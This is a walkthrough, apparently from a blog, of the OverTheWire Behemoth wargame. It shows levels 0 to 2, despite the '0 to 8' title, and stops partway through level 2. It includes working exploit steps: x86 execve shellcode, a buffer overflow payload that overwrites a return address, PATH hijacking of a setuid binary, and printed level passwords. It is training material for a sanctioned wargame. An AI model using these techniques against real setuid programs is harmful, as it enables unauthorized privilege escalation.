OverTheWire Behemoth Levels 0 to 8 Walkthrough

OverTheWire Behemoth Levels 0 to 8 Walkthrough

Walkthrough on solving the Behemoth series from the wargame site, OverTheWire

Behemoth0

behemoth0@melinda:~$ cd /games/behemoth/
behemoth0@melinda:/games/behemoth$ ls -lh
total 63K
-r-sr-x--- 1 behemoth1 behemoth0 5.8K Nov 14 2014 behemoth0
-r-sr-x--- 1 behemoth2 behemoth1 5.0K Nov 14 2014 behemoth1
-r-sr-x--- 1 behemoth3 behemoth2 7.5K Nov 14 2014 behemoth2
-r-sr-x--- 1 behemoth4 behemoth3 5.2K Nov 14 2014 behemoth3
-r-sr-x--- 1 behemoth5 behemoth4 7.5K Nov 14 2014 behemoth4
-r-sr-x--- 1 behemoth6 behemoth5 7.8K Nov 14 2014 behemoth5
-r-sr-x--- 1 behemoth7 behemoth6 7.4K Nov 14 2014 behemoth6
-r-xr-x--- 1 behemoth7 behemoth6 7.5K Nov 14 2014 behemoth6_reader
-r-sr-x--- 1 behemoth8 behemoth7 5.7K Nov 14 2014 behemoth7
behemoth0@melinda:/games/behemoth$ file behemoth0
behemoth0: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=4c2e0281c9220ac21b55994f2a2408fe3c6693ac, not stripped
behemoth0@melinda:/games/behemoth$ ./behemoth0
Password: a
Access denied..
behemoth0@melinda:/games/behemoth$ ltrace ./behemoth0
__libc_start_main(0x80485a2, 1, 0xffffd784, 0x8048690
printf("Password: ") = 10
__isoc99_scanf(0x804876c, 0xffffd69b, 0xffffd690, 0x80482d2Password: a
) = 1
strlen("OK^GSYBEX^Y") = 11
strcmp("a", "eatmyshorts") = -1
puts("Access denied.."Access denied..
) = 16
+++ exited (status 0) +++

So we are given a super simple 32-bit ELF setuid binary. The binary asks for an input, which is in turned compared to an hardcoded string in the bianry. If they match you with be granted with high permissions. From the above ltrace output, we can see what out input is being compared too.

behemoth0@melinda:/games/behemoth$ ./behemoth0
Password: eatmyshorts
Access granted..
$ id
uid=13000(behemoth0) gid=13000(behemoth0) euid=13001(behemoth1) groups=13001(behemoth1),13000(behemoth0)
$ cat /etc/behemoth_pass/behemoth1
aesebootiv
$

Behemoth1 -> Behemoth2

behemoth1@melinda:/games/behemoth$ ls -lh ./behemoth1
-r-sr-x--- 1 behemoth2 behemoth1 5.0K Nov 14 2014 ./behemoth1
behemoth1@melinda:/games/behemoth$ file ./behemoth1
./behemoth1: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=6b301db8057be8df8ceead844e81f05764289f92, not stripped

So what happens if we run this binary? We are given a prompt for a password.

behemoth1@melinda:/games/behemoth$ ltrace ./behemoth1
__libc_start_main(0x804845d, 1, 0xffffd784, 0x80484a0
printf("Password: ") = 10
gets(0xffffd69d, 0, 194, 0xf7eb75b6Password: a
) = 0xffffd69d
puts("Authentication failure.\nSorry."Authentication failure.
Sorry.
) = 31
+++ exited (status 0) +++

So interesting enough, we don’t see strings being compared together. We might need to use a debugger for this level.

behemoth1@melinda:/games/behemoth$ gdb ./behemoth1 -q
Reading symbols from ./behemoth1...(no debugging symbols found)...done.
(gdb) disass main
Dump of assembler code for function main:
0x0804845d : push %ebp
0x0804845e : mov %esp,%ebp
0x08048460 : and $0xfffffff0,%esp
0x08048463 : sub $0x60,%esp
0x08048466 : movl $0x8048530,(%esp)
0x0804846d : call 0x8048310
0x08048472 : lea 0x1d(%esp),%eax
0x08048476 : mov %eax,(%esp)
0x08048479 : call 0x8048320
0x0804847e : movl $0x804853c,(%esp)
0x08048485 : call 0x8048330
0x0804848a : mov $0x0,%eax
0x0804848f : leave
0x08048490 : ret
End of assembler dump.

So it’s a very simple and small binary, now what happens if put a very large password into the program?

behemoth1@melinda:/games/behemoth$ gdb ./behemoth1 -q
Reading symbols from ./behemoth1...(no debugging symbols found)...done.
(gdb) r
Starting program: /games/behemoth/behemoth1
Password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Authentication failure.
Sorry.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Cool, it appears we have a stack base buffer overflow.I now need to identify the exact offset in which I overwrite the EIP register with my input.

(gdb) r
Starting program: /games/behemoth/behemoth1
Password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
Authentication failure.
Sorry.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
eax 0x0 0
ecx 0xf7fd7000 -134385664
edx 0xf7fcb898 -134432616
ebx 0xf7fca000 -134438912
esp 0xffffd6d0 0xffffd6d0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x10282 [ SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) x/20wx $esp
0xffffd6d0: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd6e0: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd6f0: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd700: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd710: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb) x/20wx $esp-4
0xffffd6cc: 0x42424242 0x43434343 0x43434343 0x43434343
0xffffd6dc: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd6ec: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd6fc: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd70c: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb)

With the offset, I need to determine a way to get my shellcode onto the stack. Looking at the ESP register, I can see I have control of that at the time of the EIP overflow.

behemoth1@melinda:/games/behemoth$ readelf -a ./behemoth1 |grep "STACK"
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10

Before moving any further, I checked to make sure the stack is still executable.

behemoth1@melinda:/games/behemoth$ export SYN=$(python -c'print("\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")')

With the shellcode successfully added, we need to find the memory address of the variable now.

0xffffdeac: 0x903d4e59 0x90909090 0x90909090 0x90909090
0xffffdebc: 0x31909090 0x2f6850c0 0x6868732f 0x6e69622f
0xffffdecc: 0x5350e389 0xc289e189 0x80cd0bb0 0x2f3d5f00

I selected the following memory address to use as the RET in my exploit, “0xffffdeb4”. At the end of the shellcode, a “; cat” was added to keep the “/bin/sh” was open.

behemoth1@melinda:/games/behemoth$ (python -c'print("A"*79+"\xb4\xde\xff\xff")' ;cat) | /games/behemoth/behemoth1
Password: Authentication failure.
Sorry.
id
uid=13001(behemoth1) gid=13001(behemoth1) euid=13002(behemoth2) groups=13002(behemoth2),13001(behemoth1)

Behemoth2 -> Behemoth3

behemoth2@melinda:/games/behemoth$ ls -lh ./behemoth2
-r-sr-x--- 1 behemoth3 behemoth2 7.5K Nov 14 2014 ./behemoth2
behemoth2@melinda:/games/behemoth$ file ./behemoth2
./behemoth2: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=490eca1266dce1c6fa5afd37392837976dba68ef, not stripped
behemoth2@melinda:/games/behemoth$ ./behemoth2
touch: cannot touch '26667': Permission denied
ls
^C

This setuid binary is trying to touch a file called 26667, but is blocked due to permission restrictions.

behemoth2@melinda:/games/behemoth$ ltrace ./behemoth2
__libc_start_main(0x804856d, 1, 0xffffd784, 0x8048640
getpid() = 26764
sprintf("touch 26764", "touch %d", 26764) = 11
__lxstat(3, "26764", 0xffffd678) = -1
unlink("26764") = -1
system("touch 26764"touch: cannot touch '26764': Permission denied

--- SIGCHLD (Child exited) ---
) = 256
sleep(2000

With ltrace, we can get a bit more of an insight into what is actually occurring. Notice the “touch” command is not being called using an absolute path, which means it’ll check the locations of the $PATH environment variables for the binary. For this level, we just to simply make our own “touch” program which will give us the shell we need. Once created we’ll add it to our environment variables and rerun the binary.

behemoth2@melinda:/games/behemoth$ mktemp -d
/tmp/tmp.dYk3Xj9QQh
behemoth2@melinda:/games/behemoth$ cd /tmp/tmp.dYk3Xj9QQh
behemoth2@melinda:/tmp/tmp.dYk3Xj9QQh$ cat >/tmp/tmp.dYk3Xj9QQh/touch << eof
/bin/sh
eof
behemoth2@melinda:/tmp/tmp.dYk3Xj9QQh$ PATH=/tmp/tmp.dYk3Xj9QQh:$PATH

© 2021. All rights reserved.

Powered by Hydejack v9.1.6